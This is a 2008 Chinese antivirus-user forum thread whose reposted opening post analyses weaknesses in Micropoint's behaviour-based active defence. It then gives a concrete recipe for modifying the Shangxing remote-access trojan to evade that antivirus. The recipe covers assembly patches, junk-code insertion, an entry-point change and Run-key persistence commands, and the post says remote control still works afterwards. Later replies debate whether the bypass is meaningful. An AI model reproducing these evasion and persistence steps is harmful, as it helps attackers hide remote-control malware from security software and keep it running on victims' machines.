微点交流论坛
» 游客:  注册 | 登录 | 帮助

 

作者:
标题: [转帖]绕过微点主动防御可行性的分析
snhao
银牌会员




积分 1791
发帖 1782
注册 2007-6-12
#1  [转帖]绕过微点主动防御可行性的分析

微点的主动防御确实是一种对付免杀病毒,变种病毒,家族病毒乃至未知病毒的一种行之有效的方法。
此方法抛弃了传统的特征码对比识别的落后局面    对于病毒编写者来说    无疑是巨大的打击

主动防御是对付病毒的杀手锏    那么是否就是完美的防御手段了呢?它都有那些特点呢?它是不是也有一些不足之处能够被恶意利用呢?


==========





1、在实际使用微点的过程中可以发现,在识别病毒时,微点总是在病毒已经运行了一会后,才弹出来提示框。也就是说,微点在拦截到某程序的前后一系列API动作后,需要将拦截到的动作与行为知识库中的记录进行对比,用以判断该程序是否为病毒。

也就是说从拦截程序的API动作到行为识别之间有一个时间差  









2、通过大量实验可以得出 微点具有一个临时规则的功能 并且该功能生成的临时规则在计算机重启之前都能一直生效

用过微点的用户都知道,当微点通过主动防御发现一个病毒后,会有询问框出现,让用户选择是允许还是阻止,当选择阻止后,会出现询问框让用户选择是删除还是不删除。

不论是选择阻止/删除 还是 允许/不删除,微点都会将此选择添加为临时规则   

如果是选择阻止/删除,那么在重启之前,遇到相同路径和hash值的文件都会阻止或者删除;如果是选择 允许/不删除,那么在重启之前,遇到相同路径和hash值的文件就都会放行


并且微点还会记录下父进程,如果同一父进程,第一次的操作没报,但是如果第二次的操作是有害的,那么如果在第二次选择删除的话,那么微点会把在第一次操作生成的文件连同父进程一起让用户选择删除。

这真是一个很神奇的功能      也许也是一个不足之处








3、微点之所以能够发现未知病毒    是建立在大量的对病毒行为分析的基础之上的  

比如auto类病毒,都需要通过autorun.inf这个文件来运行,然后对系统进行破坏      那么一个程序    如果具有以下auto类病毒的常见动作    既可被微点报为auto病毒    哪怕这个病毒是微点还为收集到的    也就是未知的病毒

1、通过autorun.inf文件运行      2、向系统目录创建文件      3、向本地磁盘跟目录创建文件    4、修改一些注册表(如启动项 服务)

但是别忘了,微点是通过一系列动作的对比来确定是否为病毒的    所以这也是正规光盘在自启动时不会被报病毒的原因所在

那么,如果将病毒的一系列行为拆散,使之不能联贯;或者将动作减少,使之与行为分析库中的动作对不上号

那么 微点还能报病毒么?      事实是,对于这类单一的动作而言,微点不会报病毒,但是有可能会报危险动作(重要单一API动作报警)




===========




于是,可以结合以上所发现的不足之处    来绕过微点主动防御的监控。
可参见以下2贴

http://bbs.deepin.org/htm_data/207/0710/342647.html
http://bbs.kafan.cn/viewthread.php?tid=139077&extra=page%3D1

如以上贴中所录制的视频既是利用了上面所分析的不足之处

里面的那个vbs脚本的作用就在于无窗口运行spbic.exe    (利用的第三点)      运行成功后,未等微点将拦截到的动作与行为库里的记录对比便立即重启(利用的第一点)    所以该病毒能够绕过微点的主动防御并存活下来

如果继续对该病毒的破坏动作进行修改,那么,重启之后    由于无法与现有行为库里的行为进行有效对比,那么微点也会对该病毒放行 (利用第三点)  


希望微点官方能够设法弥补以上的不足之处。



=========================







附:对上兴的修改,过微点的主动防御(利用第三点)


上興是2007sp3 http://hi.baidu.com/98223上破解的這個
上興生成的時候什么都不要選 生成以后先改文件特征碼 0009B71D_00000001(通用的)

od載入 (內存地址或許會有不同吧 ..)
0049BADA      E8 11F7FEFF        call r_server.0048B1F0
0049BADF      33C0                xor eax,eax
0049BAE1      5A                  pop edx
0049BAE2      59                  pop ecx
0049BAE3      59                  pop ecx
0049BAE4      64:8910            mov dword ptr fs:[eax],edx

全部nop掉 這樣上興就不會生成服務(其實這是我一開始做的 ..)

0049BB0C      E8 F7B6F6FF        call <jmp.&kernel32.WinExec>
0049BB11      33C0                xor eax,eax
把 xor eax,eax改為int 21

在此處加花
0049C322   
--------------------
xor eax,eax
pushad
popad
jmp 0049C28C
--------------------
0049C28C 是原入口點

用loadpe改入口點為0049C322
至此做出來的上興已經是可以過微點的殺毒模塊了(防火墻過不了)
而且上線和遠端控制也沒有問題

但是其本身不會添加任何啟動項 需要其余文件執行
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v spbat /t REG_SZ /d "c:\program files\common files\microsoft shared\msinfo\test.exe" /f 這命令來加入啟動項 這樣才能讓它在重啟后繼續運行

或者reg import 1.reg
1.reg的內容:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"test"="c:\\program files\\common files\\microsoft shared\\msinfo\\test.exe"
本篇文章来源于 §★◆黑马王子学习基地◆★§ 转载请以链接形式注明出处 网址:http://www.hmhk.cn/read-htm-tid-57217.html


※ ※ ※ 本文纯属【snhao】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2008-2-27 22:27
查看资料  发短消息   编辑帖子
yeah.star
新手上路





积分 33
发帖 33
注册 2008-2-25
#2  

这篇文章高啊,我是个外行,感觉很有道理。

※ ※ ※ 本文纯属【yeah.star】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2008-2-29 12:56
查看资料  发送邮件  发短消息   编辑帖子
yth0
注册用户





积分 72
发帖 72
注册 2007-1-8
#3  

" 运行成功后,未等微点将拦截到的动作与行为库里的记录对比便立即重启(利用的第一点)    所以该病毒能够绕过微点的主动防御并存活下来"

如果微点监控重启功能,不让他立即重启,等微点判断完了再重启又如何?

※ ※ ※ 本文纯属【yth0】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2008-3-2 09:19
查看资料  发短消息   编辑帖子
hds_ss
银牌会员





积分 1105
发帖 1101
注册 2007-2-26
#4  

对于我来说这些有点高了

※ ※ ※ 本文纯属【hds_ss】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

系统为:XP Professional 版本为 2002 Sercice Pack 2
Intel946GZ+1G+PD820
预升级用户
2008-3-2 19:59
查看资料  发送邮件  发短消息   编辑帖子
百科
新手上路





积分 20
发帖 20
注册 2008-2-27
#5  

有点太深了,不是太懂。

※ ※ ※ 本文纯属【百科】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2008-3-2 20:20
查看资料  发送邮件  发短消息   编辑帖子
brodbus
新手上路





积分 4
发帖 4
注册 2007-12-8
#6  

微点又不是万能的,主动防御这个东西从理论上来说就有漏洞,跟别说刻意针对它的病毒了,记住一句话,安全永远都是相对的,不要把安全寄托在某个软件身上!

※ ※ ※ 本文纯属【brodbus】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2008-3-3 09:17
查看资料  发送邮件  发短消息   编辑帖子
saysm
新手上路





积分 5
发帖 5
注册 2008-3-6
#7  

3楼说得不错.
重起来过微点是没用的.就算那时过了,微点.但也过不了你的眼吧,白白的重起了,你不看一下?
除非病毒可以绕过暂停.

※ ※ ※ 本文纯属【saysm】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2008-3-7 00:32
查看资料  发送邮件  发短消息   编辑帖子
kesnet
新手上路





积分 20
发帖 20
注册 2007-6-28
来自 xm
#8  

没看到真正的实验,希望高手做个实验出来证明

※ ※ ※ 本文纯属【kesnet】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

http://kesnet.cn
2008-3-7 08:20
查看资料  访问主页  发短消息   编辑帖子
点饭的百度空间
银牌会员




积分 2315
发帖 2236
注册 2007-11-30
#9  

“如果将病毒的一系列行为拆散,使之不能联贯;或者将动作减少,使之与行为分析库中的动作对不上号  微点还能报病毒么?    事实是,对于这类单一的动作而言,微点不会报病毒”

发现危险性高的单一行为 微点会马上拦截并报发现可疑程序;
你把病毒的行为拆散开来程序缺胳膊断腿 没有病毒行为无法危害系统安全 这样的“绕过”微点是没有意义的

※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2008-3-7 12:16
查看资料  发送邮件  访问主页  发短消息   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]


北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号